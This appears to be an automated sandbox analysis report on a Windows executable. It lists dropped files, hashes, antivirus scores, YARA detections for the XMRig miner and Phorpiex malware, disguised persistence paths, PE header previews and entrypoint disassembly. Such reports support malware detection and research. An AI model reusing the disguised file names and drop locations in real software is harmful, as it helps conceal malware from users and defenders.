                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:1

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2j3acelv.mpi.psm1

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:1

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3flgllvf.plt.psm1

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:1

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmm5kwsu.pdp.ps1

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:1

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hymclaie.e2l.ps1

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:1

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0be5g3d.tqw.ps1

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:1

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\Windows Security\Update\winsvrupd.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1993216
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):7.937291620882887
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:49152:a0345NXqa1p8X7stbjkI8skQ0beZ5kxdxhngmN5lp32qIH+Du+9nL:a0o5NTrttEIj0aZ2xdxxgmzX3eUu+9
                                                                                                                                                                                                                                                                                                                                                    MD5:16B93C72B9B6AE18C2A7B1C3330BF8BB
                                                                                                                                                                                                                                                                                                                                                    SHA1:9B8478973757D18B6FC4D2873A82F4F8F7E6FED8
                                                                                                                                                                                                                                                                                                                                                    SHA-256:84C56026C8C3177D0269B52883D4EEA3E6BEE3BDA03479E8FA39C739E6914B7D
                                                                                                                                                                                                                                                                                                                                                    SHA-512:8C1669324D8B70A2911CC1833FCAD31A1394A068A328C0C03864DBF78034BD172E3DAC6685C9F37DA856993847349D6E0C6394C72C666C5ACB3025E254B70FA9
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                                                                                                                                    • Rule: PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20, Description: Detects XMRIG crypto coin miners, Source: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp, Author: Florian Roth (Nextron Systems)
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 60%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......HJ...+..+..+..@..+..@..+..@..+..@..+.^^..+.^^..+.^^.n+.jD(..+..^..+..@..+..+..*..[._)..^..*..^..+..^*..+..+B..+..^..+.Rich.+.........PE..d...`.Vc.........."......`........`. '....`....@.............................@............`..................................................4..H....0........{.,............7..$............................)..(...X*..8...........................................UPX0......`.............................UPX1.....`....`..\..................@....rsrc........0.......`..............@......................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\Windows Security\Update\winsvrupd.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):14544
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):6.2660301556221185
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                                                                                                                                                                                                                                                                                                                    MD5:0C0195C48B6B8582FA6F6373032118DA
                                                                                                                                                                                                                                                                                                                                                    SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                                                                                                                                                                                                                                                                                                                    SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                                                                                                                                                                                                                                                                                                                    SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 5%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Roaming\Google\Libs\g.log

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):114
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):3.0387216969044104
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:QrjaPUFvEMlWlK3FflovPcSX8OxuqXgn:Q/aevEMlWlKovP9X8vPn
                                                                                                                                                                                                                                                                                                                                                    MD5:5AC6C90574344B88D99E6935C1042437
                                                                                                                                                                                                                                                                                                                                                    SHA1:1DCFFFFCE5725F5C814D7B3D636F015AC8CAACFC
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6C868D182778B613A2EAC77AF1C5767CF80D1ED5EFCCA6870A733D303FC2D4AF
                                                                                                                                                                                                                                                                                                                                                    SHA-512:30F109BA66A9425AD21D2B5BD7AEBA235E4C4E9FCE0460B8B555890588EF7326B77DD06C7221AE0ADACB6C0AB5E44F1218B39F33349D727DCE54B34AB42BFF06
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:..N.a.m.e. . . . . . .V.i.d.e.o.P.r.o.c.e.s.s.o.r. . .....A.T._.K.6.H.P.E. . .L.E._.N.K.C._.A. . . . . . . . .....

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\Windows Security\Update\winsvrupd.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\1258033132.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):2074112
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):7.965515658687771
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:49152:mY68/ly5eVvXjoSQLCbmxl2yoCBd+Q2S:mi/lgeZTo4UAyoCBdaS
                                                                                                                                                                                                                                                                                                                                                    MD5:7B0633AE007D5D202C33D505D580D4B7
                                                                                                                                                                                                                                                                                                                                                    SHA1:3FCC4BD2AF14B385104C27D8A192C938295BBA3E
                                                                                                                                                                                                                                                                                                                                                    SHA-256:84984B4AE961524FA29008D142C78B6A859B451BDD21CEDC04CC25CAF4256116
                                                                                                                                                                                                                                                                                                                                                    SHA-512:E1038EEAA16CC1A8C514870D2F3892C7A68F083FE7F9751906E75D93C079A51190F61E153C145302EC0C3C761DE5B5E1803A7338041665D4584214A11048647F
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 84%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...G.nc...............&.......................@............................. ...........`... ....................................................... ....................... .............................`...(...................D................................text...H...........................`..`.data...`...........................@....rdata.. ............r..............@..@.pdata..............................@..@.xdata..............................@..@.bss....8................................idata..............................@....CRT....h...........................@....tls................................@....rsrc......... .....................@....reloc........ .....................@..B........................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\tbnds.dat

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):4096
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):4.8110328894113366
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:96:fMh5Y97UeDyk7clOwGYbq6/0swnwXIii8wuNrgwgdnQUMONbS0Fc6uRG19rXU:fc5Y97UemkTTYksNIBuVlONb3SYbU
                                                                                                                                                                                                                                                                                                                                                    MD5:24D562580BC49FDF5614AF839C22835C
                                                                                                                                                                                                                                                                                                                                                    SHA1:C4445433A6632A6323134C58C14865BC1A095622
                                                                                                                                                                                                                                                                                                                                                    SHA-256:4948A7292EFCAAAADEF5F6F602B78B31CDA95C2B8844239AF8BE2BC837FEC6EB
                                                                                                                                                                                                                                                                                                                                                    SHA-512:EABBB2BE7B6D303E2FE277C68095412C712ACDCA6C6C5C207AB1FF336CC352BCD30CB1D5739EC76AFF01EEA604F1FF01298142D28B1AD4B9484BFF10151C99F0
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:^..n...............7....g.a%...................F......[.....................Y.>.....x......\.g.....}..y....[.a....._9..............]t.J.....py;....M#.h....WL.p.....#!:....R........!........t....;[.u......X8...........);.).....z.N....;[.w.....p."....\|..............|m0........t.....~......_..........x....Y..x............mJF.....;[.t......H0......,.....%..Z....;[.{.....z.+....|.t-......z.............dc.....%..#.....p{j...........mJC`....O.......PE.d.....pqL.......U.....L]........\....\} x............EC.~....r$.......1......z.4....q.3......#.l....);)U....^.V........;....;[.x......m........w.......%.............#.......ppT.....sp"......N......M.g.......O.....pk........T............R.......YZ.....6.......^P6......+............m.......................Y...............Ng.....g.........8d....\........j.......J.......e....v.V&......[......L.......pa}.............,].......q.....#PX....T5.j......,*.............-,....Q.rM............_8&L.......d....1..8....tJ}3.......`.....pt.....

                                                                                                                                                                                                                                                                                                                                                    C:\Windows\wsysrxvcs.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):78848
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):6.388781127199898
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:1536:T3Mz8YI7OdQZ16vXROFon3rXMOnfF+OeeeeeeeeWeeeee:4wYuIPROKnLMOnfF
                                                                                                                                                                                                                                                                                                                                                    MD5:15DB9F43813112507A5CBD9B4F5E1FE9
                                                                                                                                                                                                                                                                                                                                                    SHA1:1A8FF6CC9C572E1D52B2E7DB582178A9D5208E17
                                                                                                                                                                                                                                                                                                                                                    SHA-256:4531E904B29A577272454DE8F8084D86FBE2903F16C00D2FA63D1FFE5244ECC1
                                                                                                                                                                                                                                                                                                                                                    SHA-512:7727FA803F62CBA951B24539929F6D400B1D8FCEA0723CBADFCA7105E92007DB48760FDD617C2EC1BCA04FE34AC2227D4D895FD62406BB7B82AED8D07C48800F
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\wsysrxvcs.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 83%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c1.Y._.Y._.Y._.!p^.[._.....[._.....X._...P.[._.~.2.]._.Y.^..._.~.$.L._.Pz.~._.Pz.X._.RichY._.........PE..L...sS.d.....................`.......]............@..........................`..............................................| .......................................................................................................................text...L........................... ..`.rdata.../.......0..................@..@.data...@/...0......................@...................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    Static File Info

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):6.388781127199898
                                                                                                                                                                                                                                                                                                                                                    TrID:
                                                                                                                                                                                                                                                                                                                                                    • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                                                                                                                    • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                                                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                                                                                                                    File name:file.exe
                                                                                                                                                                                                                                                                                                                                                    File size:78848
                                                                                                                                                                                                                                                                                                                                                    MD5:15db9f43813112507a5cbd9b4f5e1fe9
                                                                                                                                                                                                                                                                                                                                                    SHA1:1a8ff6cc9c572e1d52b2e7db582178a9d5208e17
                                                                                                                                                                                                                                                                                                                                                    SHA256:4531e904b29a577272454de8f8084d86fbe2903f16c00d2fa63d1ffe5244ecc1
                                                                                                                                                                                                                                                                                                                                                    SHA512:7727fa803f62cba951b24539929f6d400b1d8fcea0723cbadfca7105e92007db48760fdd617c2ec1bca04fe34ac2227d4d895fd62406bb7b82aed8d07c48800f
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:1536:T3Mz8YI7OdQZ16vXROFon3rXMOnfF+OeeeeeeeeWeeeee:4wYuIPROKnLMOnfF
                                                                                                                                                                                                                                                                                                                                                    TLSH:D9733900F280813BE0F681FFEBFF56A9192C9FB4534594D7A2E1689F56346C6BA36053
                                                                                                                                                                                                                                                                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c1.Y._.Y._.Y._.!p^.[._.....[._.....X._...P.[._.~.2.]._.Y.^..._.~.$.L._.Pz..~._.Pz..X._.RichY._.........PE..L...sS.d...........

                                                                                                                                                                                                                                                                                                                                                    File Icon

                                                                                                                                                                                                                                                                                                                                                    Icon Hash:00828e8e8686b000

                                                                                                                                                                                                                                                                                                                                                    Static PE Info

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Entrypoint:0x405d80
                                                                                                                                                                                                                                                                                                                                                    Entrypoint Section:.text
                                                                                                                                                                                                                                                                                                                                                    Digitally signed:false
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                                                                    Subsystem:windows gui
                                                                                                                                                                                                                                                                                                                                                    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                                                                                                                                                                    DLL Characteristics:NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                                                                                                                    Time Stamp:0x64195373 [Tue Mar 21 06:49:23 2023 UTC]
                                                                                                                                                                                                                                                                                                                                                    TLS Callbacks:
                                                                                                                                                                                                                                                                                                                                                    CLR (.Net) Version:
                                                                                                                                                                                                                                                                                                                                                    OS Version Major:5
                                                                                                                                                                                                                                                                                                                                                    OS Version Minor:0
                                                                                                                                                                                                                                                                                                                                                    File Version Major:5
                                                                                                                                                                                                                                                                                                                                                    File Version Minor:0
                                                                                                                                                                                                                                                                                                                                                    Subsystem Version Major:5
                                                                                                                                                                                                                                                                                                                                                    Subsystem Version Minor:0
                                                                                                                                                                                                                                                                                                                                                    Import Hash:6880384c7bfd2a14f2b2e2e50f940ba5

                                                                                                                                                                                                                                                                                                                                                    Entrypoint Preview

                                                                                                                                                                                                                                                                                                                                                    Instruction
                                                                                                                                                                                                                                                                                                                                                    push ebp
                                                                                                                                                                                                                                                                                                                                                    mov ebp, esp
                                                                                                                                                                                                                                                                                                                                                    sub esp, 00000C04h
                                                                                                                                                                                                                                                                                                                                                    push 000007D0h
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [004100ECh]
                                                                                                                                                                                                                                                                                                                                                    push 00413BE4h
                                                                                                                                                                                                                                                                                                                                                    push 00000000h
                                                                                                                                                                                                                                                                                                                                                    push 00000000h
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [00410090h]
                                                                                                                                                                                                                                                                                                                                                    mov dword ptr [ebp-00000A3Ch], eax
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [00410094h]
                                                                                                                                                                                                                                                                                                                                                    cmp eax, 000000B7h
                                                                                                                                                                                                                                                                                                                                                    jne 00007F2A6CC1E76Ah
                                                                                                                                                                                                                                                                                                                                                    push 00000000h
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [00410098h]
                                                                                                                                                                                                                                                                                                                                                    mov dword ptr [ebp-0000041Ch], 00000000h
                                                                                                                                                                                                                                                                                                                                                    mov dword ptr [ebp-0000020Ch], 00000001h
                                                                                                                                                                                                                                                                                                                                                    push 00000105h
                                                                                                                                                                                                                                                                                                                                                    push 00415290h
                                                                                                                                                                                                                                                                                                                                                    push 00000000h
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [004100D4h]
                                                                                                                                                                                                                                                                                                                                                    push 00415290h
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [0041016Ch]
                                                                                                                                                                                                                                                                                                                                                    mov dword ptr [ebp-00000210h], eax
                                                                                                                                                                                                                                                                                                                                                    push 00415290h
                                                                                                                                                                                                                                                                                                                                                    push 0041111Ch
                                                                                                                                                                                                                                                                                                                                                    lea eax, dword ptr [ebp-00000208h]
                                                                                                                                                                                                                                                                                                                                                    push eax
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [0041018Ch]
                                                                                                                                                                                                                                                                                                                                                    add esp, 0Ch
                                                                                                                                                                                                                                                                                                                                                    lea ecx, dword ptr [ebp-00000208h]
                                                                                                                                                                                                                                                                                                                                                    push ecx
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [004100B4h]
                                                                                                                                                                                                                                                                                                                                                    push 00000104h
                                                                                                                                                                                                                                                                                                                                                    lea edx, dword ptr [ebp-00000A38h]
                                                                                                                                                                                                                                                                                                                                                    push edx
                                                                                                                                                                                                                                                                                                                                                    push 00411144h
                                                                                                                                                                                                                                                                                                                                                    call dword ptr [00410088h]
                                                                                                                                                                                                                                                                                                                                                    mov dword ptr [ebp-00000BD4h], 00413BF0h
                                                                                                                                                                                                                                                                                                                                                    mov eax, dword ptr [ebp-00000210h]
                                                                                                                                                                                                                                                                                                                                                    mov dword ptr [ebp+00FFF428h], eax

                                                                                                                                                                                                                                                                                                                                                    Rich Headers

                                                                                                                                                                                                                                                                                                                                                    Programming Language:
                                                                                                                                                                                                                                                                                                                                                    • [ C ] VS2005 build 50727
                                                                                                                                                                                                                                                                                                                                                    • [IMP] VS2005 build 50727
                                                                                                                                                                                                                                                                                                                                                    • [LNK] VS2008 SP1 build 30729

                                                                                                                                                                                                                                                                                                                                                    Data Directories

                                                                                                                                                                                                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x1207c0x104.rdata
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x100000x2fc.rdata
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                                                                                                                    Sections

                                                                                                                                                                                                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                                                                                                                    .text0x10000xe04c0xe200False0.4691129701327434data6.104230925565134IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
